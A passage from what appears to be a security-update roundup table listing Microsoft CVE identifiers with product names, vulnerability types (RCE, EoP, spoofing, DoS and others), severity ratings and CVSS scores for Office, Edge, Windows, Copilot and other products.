Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure 